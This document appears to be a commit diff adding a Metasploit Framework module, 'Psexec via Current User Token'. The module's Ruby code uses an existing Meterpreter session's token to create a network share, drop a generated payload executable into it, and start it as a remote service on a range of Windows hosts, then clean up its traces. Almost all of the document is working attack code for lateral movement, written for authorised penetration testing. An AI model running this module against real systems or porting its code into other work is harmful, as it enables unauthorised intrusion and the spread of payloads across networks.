parent
46312d9035
commit
47eb387886
|
@ -0,0 +1,156 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
load 'lib/msf/core/post/windows/services.rb'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Local
|
||||
include Post::Windows::WindowsServices
|
||||
include Exploit::EXE
|
||||
include Post::File
|
||||
include Post::Common
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Psexec via Current User Token',
|
||||
'Description' => %q{
|
||||
This module uploads an executable file to the victim system, creates
|
||||
a share containing that executable, creates a remote service on each
|
||||
target system using a UNC path to that file, and finally starts the
|
||||
service(s).
|
||||
|
||||
The result is similar to psexec but with the added benefit of using
|
||||
the session's current authentication token instead of having to know
|
||||
a password or hash.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'egypt' ],
|
||||
'References' => [
|
||||
# same as for windows/smb/psexec
|
||||
[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
|
||||
[ 'OSVDB', '3106'],
|
||||
[ 'URL', 'http://www.microsoft.com/technet/sysinternals/utilities/psexec.mspx' ]
|
||||
],
|
||||
'Version' => '$Revision$',
|
||||
'Platform' => [ 'windows' ],
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'Targets' => [ [ 'Universal', {} ] ],
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new("INTERNAL_ADDRESS", [
|
||||
false,
|
||||
"Session's internal address or hostname for the victims to grab the "+
|
||||
"payload from (Default: detected)"
|
||||
]),
|
||||
OptString.new("NAME", [ false, "Service name on each target in RHOSTS (Default: random)" ]),
|
||||
OptString.new("DISPNAME", [ false, "Service display name (Default: random)" ]),
|
||||
OptAddressRange.new("RHOSTS", [ false, "Target address range or CIDR identifier" ]),
|
||||
])
|
||||
end
|
||||
|
||||
def exploit
|
||||
name = datastore["NAME"] || Rex::Text.rand_text_alphanumeric(10)
|
||||
display_name = datastore["DISPNAME"] || Rex::Text.rand_text_alphanumeric(10)
|
||||
|
||||
# XXX Find the domain controller
|
||||
|
||||
#share_host = datastore["INTERNAL_ADDRESS"] || detect_address
|
||||
share_host = datastore["INTERNAL_ADDRESS"] || session.session_host
|
||||
print_status "Using #{share_host} as the internal address for victims to get the payload from"
|
||||
|
||||
# Build a random name for the share and directory
|
||||
share_name = Rex::Text.rand_text_alphanumeric(8)
|
||||
drive = session.fs.file.expand_path("%SYSTEMDRIVE%")
|
||||
share_dir = "#{drive}\\#{share_name}"
|
||||
|
||||
# Create them
|
||||
print_status("Creating share #{share_dir}")
|
||||
session.fs.dir.mkdir(share_dir)
|
||||
cmd_exec("net share #{share_name}=#{share_dir}")
|
||||
|
||||
# Generate an executable from the shellcode and drop it in the share
|
||||
# directory
|
||||
filename = "#{Rex::Text.rand_text_alphanumeric(8)}.exe"
|
||||
payload_exe = generate_payload_exe_service(
|
||||
:servicename => name,
|
||||
# XXX Ghetto
|
||||
:arch => payload.send(:pinst).arch.first
|
||||
)
|
||||
|
||||
print_status("Dropping payload #{filename}")
|
||||
write_file("#{share_dir}\\#{filename}", payload_exe)
|
||||
|
||||
service_executable = "\\\\#{share_host}\\#{share_name}\\#{filename}"
|
||||
|
||||
begin
|
||||
Rex::Socket::RangeWalker.new(datastore["RHOSTS"]).each do |server|
|
||||
begin
|
||||
print_status("#{server.ljust(16)} Creating service #{name}")
|
||||
|
||||
# 3 is Manual startup. Should probably have constants for this junk
|
||||
service_create(name, display_name, service_executable, 3, server)
|
||||
|
||||
# If everything went well, this will create a session. If not, it
|
||||
# might be permissions issues or possibly we failed to create the
|
||||
# service.
|
||||
print_status("#{server.ljust(16)} Starting the service")
|
||||
service_start(name, server)
|
||||
|
||||
print_status("#{server.ljust(16)} Deleting the service")
|
||||
service_delete(name, server)
|
||||
rescue
|
||||
print_error("Exception running payload: #{$!.class} : #{$!}")
|
||||
print_error("#{server.ljust(16)} WARNING: May have failed to clean up!")
|
||||
print_error("#{server.ljust(16)} Try a command like: sc \\\\#{server}\\ delete #{name}")
|
||||
next
|
||||
end
|
||||
end
|
||||
ensure
|
||||
print_status("Deleting share #{share_name}")
|
||||
cmd_exec("net share #{share_name} /delete /y")
|
||||
print_status("Deleting files #{share_dir}")
|
||||
cmd_exec("cmd /c rmdir /q /s #{share_dir}")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the victim's *internal* IP address if it can
|
||||
#
|
||||
def detect_address
|
||||
tpeer = session.tunnel_peer.split(/:/)[0]
|
||||
ifaces = session.net.config.interfaces
|
||||
|
||||
ifaces.each do |iface|
|
||||
next if iface.ip == "127.0.0.1"
|
||||
# If these two match up, there's no NAT or anything getting in our
|
||||
# way, go ahead and just use it.
|
||||
return tpeer if iface.ip == tpeer
|
||||
end
|
||||
|
||||
# otherwise, we have to take a leap of faith and assume the first
|
||||
# address that isn't localhost is something the victim hosts will
|
||||
# be able to route to.
|
||||
address = ifaces.map{|i|i.addrs.first}.find { |a| a != "127.0.0.1" }
|
||||
if address.nil?
|
||||
# The session is giving us bogus interface data, something is
|
||||
# amiss. But since we can't really do anything about it, bail.
|
||||
raise RuntimeError.new "Couldn't determine an address to use for the share"
|
||||
end
|
||||
|
||||
address
|
||||
end
|
||||
|
||||
end
|
||||
|
Loading…
Reference in New Issue